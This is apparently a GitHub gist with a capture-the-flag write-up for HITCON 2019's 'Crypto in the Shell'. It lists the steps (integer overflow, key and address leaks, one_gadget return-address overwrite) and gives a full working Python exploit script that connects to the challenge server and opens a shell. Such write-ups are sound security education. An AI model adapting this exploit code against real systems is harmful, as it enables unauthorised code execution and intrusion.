Skip to content

Instantly share code, notes, and snippets.

@Mipu94
Created October 18, 2019 17:37
Show Gist options
  • Save Mipu94/6a10aed77d5ac5742489dffafb20395a to your computer and use it in GitHub Desktop.
Save Mipu94/6a10aed77d5ac5742489dffafb20395a to your computer and use it in GitHub Desktop.
Crypto in the Shell - HITCON-CTF-2019

Crypto in the Shell - HITCON-CTF-2019

The bug is interger overflow, so we can write everywhere.

  1. To leak the key, overwrite the key then leak 1 by 1 byte.
  2. After leak the key we leak the libc and binary address at 0x202360 and 0x202000.
  3. then we leak stack by _argvs variable in mmap section.
  4. We need to overwrite one_gadget to return address which is saved in stack. But we only have 32 times to write, so we should overwrite variable i(of the for loop in main function) to negative number, then we can write more than 32.
  5. Bruteforce to write 1 by 1 byte to overwrite one_gadget to return address of main function.
  6. overwrite i to big number, then exit and get the shell.
import time
import socket
from struct import pack,unpack
import telnetlib
from ctypes import *
global s,bit

def p64(m):
    return pack("<Q", m)
def u64(m):
    return unpack("<Q", m)[0]
def u32(m):
    return unpack("<I", m)[0]

def sock(HOST, PORT,bits,debug=True):
        global s,bit
        bit=bits
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect( (HOST, PORT) )
        if debug: print "[+] Connected to server"
        return s

def telnet():
        t = telnetlib.Telnet()
        t.sock = s
        t.interact()

from Crypto.Cipher import AES


def decrypt(cipher):
    key="25b41567c23f35b46a0bc3e80eb26fa2".decode("hex")
    iv = "\x00"*16
    aes = AES.new(key, AES.MODE_CBC, iv)
    data = aes.decrypt(cipher)
    return data



def send(m, debug = False):
    s.sendall(m)

def recvu(str,debug=0, substr = ""):
    recv=''
    tm = time.time()
    while not str in recv:
        if substr != "":
            if substr in recv:
                return recv
        if time.time() - tm > 1:
            print "timeout"
            doexploit()
        tmp = s.recv(4096)
        recv += tmp
        if debug:
            print repr(tmp)
        continue
    return recv

def getx(offset, size):
    send(str(offset)+"\n")
    recvu("size:")
    send(str(size)+"\n")
    data = recvu("offset:")    
    return data[0:size]


def doexploit():
    # sock("localhost",4000,64)
    sock("3.113.219.89",31337,64)
    recvu("offset:")
    x = c_uint64(0x202360-0x2023A0)
    data = getx(x.value, 16)
    libc = u64(decrypt(data)[0:8]) - 0x3ec680
    print "libc",hex(libc)
    stack_p = libc + 0x3f04c0
    t = c_uint64(0x202000 - 0x2023A0)
    data = getx(t.value, 16)
    text = u64(decrypt(data)[8:16]) - 0x202008
    print "text", hex(text)
    buff_addr = text+0x2023A0

    s =  c_uint64(stack_p - buff_addr)
    data = getx(s.value, 16)
    stack = u64(decrypt(data)[0:8])+0x10
    print hex(stack)
    raw_input(1)

    overwrite_i = stack - 0x120
    print "write to", hex(overwrite_i)
    i = c_uint64(overwrite_i - buff_addr)
    data = getx(i.value, 8)
    one_gadget = 0x4f2c5   + libc
    print "one_gadget:",hex(one_gadget)
    gg = p64(one_gadget)
    ret_addr = stack - 0xf0
    print "return address:",hex(ret_addr)
    for j in range(8):
        print "FIND: ",j ,  gg[j].encode("hex")
        while 1:
            r = ret_addr- buff_addr+j
            data = getx(r,8)
            print "find :",data[0].encode("hex")
            if data[0] == gg[j]:
                print "found offset[%d] = "%j,data[0].encode("hex")
                break

    raw_input("ready for shell")
    print i.value
    data = getx(i.value, 15)
    print data.encode("hex")
    x = u64(data)
    x = c_int32(x).value
    print hex(x)

    telnet()

doexploit()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment